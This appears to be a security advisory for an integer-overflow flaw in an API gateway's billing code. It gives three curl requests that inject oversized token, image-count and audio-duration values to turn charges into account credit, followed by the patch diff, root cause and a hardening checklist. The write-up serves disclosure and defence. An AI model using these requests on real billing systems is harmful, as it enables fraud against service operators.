The Exploit
A low-privileged user with an active subscription or positive account balance can craft a request that injects unbounded token counts, image generation parameters, or audio durations into the billing calculation pipeline. The attacker observes their account balance flip from negative charge to positive credit; upstream payment processors reflect fraudulent refunds.
## Attack path 1: Unbounded max_tokens in chat completion
curl -X POST https://gateway.newapi.local/v1/chat/completions \
-H "Authorization: Bearer sk-user-token" \
-H "Content-Type: application/json" \
-d '{
"model": "gpt-4",
"messages": [{"role": "user", "content": "hello"}],
"max_tokens": 2147483647
}'
## Attack path 2: Malicious image n parameter overflow
curl -X POST https://gateway.newapi.local/v1/images/generations \
-H "Authorization: Bearer sk-user-token" \
-F "prompt=a cat" \
-F "n=18446744073686646784"
## Attack path 3: Unbounded audio duration in billing metadata
curl -X POST https://gateway.newapi.local/v1/audio/transcriptions \
-H "Authorization: Bearer sk-user-token" \
-F "[email protected]" \
-F "durationSeconds=999999999"
When the request reaches the quota calculation stage in service/tool_billing.go or relay/helper/price.go, the oversized parameter is cast directly to int without bounds checking. The floating-point multiplication (maxTokens * quotaPerUnit * groupRatio) overflows, wrapping to a negative integer. The billing system records a negative charge—interpreted as account credit—and the attacker's balance increases.
What the Patch Did
Before
// service/tool_billing.go, lines 52, 73
quota := int(math.Round(totalPrice * common.QuotaPerUnit * groupRatio))
quota := int(math.Round(price * common.QuotaPerUnit * groupRatio))
// relay/helper/valid_request.go
// No centralized validation for max_tokens across all request types
imageRequest.N = common.GetPointer(uint(common.String2Int(formData.Get("n"))))
// pkg/billingexpr/round.go
func QuotaRound(f float64) int {
return int(math.Round(f))
}
// relay/helper/price.go, lines 115, 120
preConsumedQuota = int(float64(preConsumedTokens) * ratio)
preConsumedQuota = int(modelPrice * common.QuotaPerUnit * groupRatioInfo.GroupRatio)
After
// service/tool_billing.go
quota := common.QuotaFromFloat(math.Round(totalPrice * common.QuotaPerUnit * groupRatio))
quota := common.QuotaFromFloat(math.Round(price * common.QuotaPerUnit * groupRatio))
// relay/helper/valid_request.go — new centralized validator
const maxTokensLimit = math.MaxInt32 / 2
func exceedsMaxTokensLimit(values ...*uint) bool {
for _, v := range values {
if lo.FromPtrOr(v, uint(0)) > maxTokensLimit {
return true
}
}
return false
}
// Applied across all request types:
if exceedsMaxTokensLimit(request.MaxOutputTokens) {
return nil, errors.New("max_output_tokens is invalid")
}
// pkg/billingexpr/round.go
func QuotaRound(f float64) int {
r := math.Round(f)
if math.IsNaN(r) {
return 0
}
if r >= math.MaxInt32 {
return math.MaxInt32
}
if r <= math.MinInt32 {
return math.MinInt32
}
return int(r)
}
// relay/helper/price.go
preConsumedQuota = common.QuotaFromFloat(float64(preConsumedTokens) * ratio)
preConsumedQuota = common.QuotaFromFloat(modelPrice * common.QuotaPerUnit * groupRatioInfo.GroupRatio)
The patch introduces three layered defences: (1) input validation via exceedsMaxTokensLimit() that rejects token/duration/count values exceeding math.MaxInt32 / 2 before they enter calculations; (2) a hardened conversion function common.QuotaFromFloat() that clamps float-to-int casts to the safe range [math.MinInt32, math.MaxInt32] and handles NaN; (3) specialized validators for edge-case parameters (audio duration in relay/channel/openai/audio.go, image generation count n in relay/helper/valid_request.go).
Root Cause
CWE-190: Integer Overflow or Wraparound. User-controlled parameters (max_tokens, max_completion_tokens, maxOutputTokens, n, durationSeconds) flow from the HTTP request body or form data into arithmetic expressions in relay/helper/price.go, service/tool_billing.go, and relay/channel/openai/audio.go. These parameters are parsed as integers or floats, multiplied by fixed constants (common.QuotaPerUnit, common.GroupRatio), and cast directly to int via int(math.Round(...)). When the multiplication result exceeds math.MaxInt32 (2,147,483,647), the cast causes wraparound, producing a negative integer—which the billing ledger misinterprets as a credit.
The trust boundary violation occurs at the HTTP request parsing stage: the developer assumed downstream cast operations would handle bounds implicitly, rather than validating inputs upfront or using safe conversion primitives.
Why It Works
The load-bearing line is the call to common.QuotaFromFloat() (or the inline clamping in pkg/billingexpr/round.go). Without it, a 64-bit float multiplication can produce a value like 9.22e+18, which silently wraps to a large negative int32 when cast. With the clamp, the function returns math.MaxInt32, capping the charge to a safe upper bound.
The other lines matter for defence-in-depth: the input validation in exceedsMaxTokensLimit() prevents oversized tokens from entering the calculation pipeline at all, reducing the surface area of downstream converters. The NaN checks in QuotaRound() and the !(ratio > 0) || math.IsInf(ratio, 1) guard in types/price_data.go catch floating-point special values that can poison calculations. Were any single layer removed, an attacker could still craft inputs that trigger wraparound—either through a corner-case ratio injection or a direct parameter oversupply.
Hardening Checklist
- Implement input validation guards before arithmetic: Use a bounded constant (e.g.,
MaxInt32 / 2) and reject any user-supplied token count, duration, or multiplier that exceeds it. Check this immediately after parsing, not after the calculation. - Use saturating cast functions for all float-to-int conversions in financial code: Never use bare
int(float64)on user-influenced values; wrap conversions in a function that checksmath.IsNaN(),math.IsInf(), and clamps to[math.MinInt32, math.MaxInt32]. - Audit all billing-path multiplications for user parameters: Grep for
*inprice,quota,chargecalculation functions and verify each multiplicand is either a constant or validated input. - Add test cases for integer overflow scenarios: Include tests with
math.MaxInt32,math.MaxInt32 + 1, and very large parsed values (e.g.,"18446744073686646784") to ensure they are rejected or safely saturated. - Validate special floating-point values explicitly: Before using a float in financial calculations, check
math.IsNaN()andmath.IsInf()and treat them as error conditions, not zeros.
References
- https://nvd.nist.gov/vuln/detail/CVE-2026-71479